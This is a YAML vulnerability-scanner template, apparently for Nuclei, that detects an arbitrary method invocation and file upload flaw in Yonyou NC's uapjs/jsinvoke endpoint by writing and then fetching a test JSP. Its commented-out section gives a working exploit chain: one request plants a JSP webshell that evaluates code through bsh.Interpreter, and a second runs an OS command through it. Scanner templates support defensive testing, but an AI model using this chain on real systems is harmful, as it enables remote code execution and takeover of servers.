42 lines
1.4 KiB
YAML
42 lines
1.4 KiB
YAML
id: yonyou-nc-uapjs-jsinvoke-fileupload
|
||
|
||
info:
|
||
name: Yonyou NC uapjs jsinvoke 文件上传漏洞
|
||
author: SleepingBag945
|
||
severity: critical
|
||
description: 用友NC 及 NCC系统存在任意方法调用漏洞，通过uapjs (jsinvoke)利用漏洞可调用危险方法造成攻击。
|
||
tags: yonyou
|
||
|
||
http:
|
||
- raw:
|
||
- |
|
||
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
|
||
Host: {{Hostname}}
|
||
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
|
||
|
||
{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig",
|
||
"parameterTypes":["java.lang.Object","java.lang.String"],
|
||
"parameters":["{{randstr_2}}","webapps/nc_web/{{randstr_1}}.jsp"]}
|
||
|
||
- |
|
||
GET /{{randstr_1}}.jsp HTTP/1.1
|
||
Host: {{Hostname}}
|
||
|
||
matchers:
|
||
- type: dsl
|
||
dsl:
|
||
- status_code_1 == 200
|
||
- status_code_2 == 200 && contains(body_2,"{{randstr_2}}")
|
||
condition: and
|
||
|
||
|
||
# POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
|
||
# Host: {{Hostname}}
|
||
|
||
# {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}
|
||
|
||
|
||
# POST /cmdb.jsp?error=bsh.Interpreter HTTP/1.1
|
||
# Host: {{Hostname}}
|
||
|
||
# cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream()) |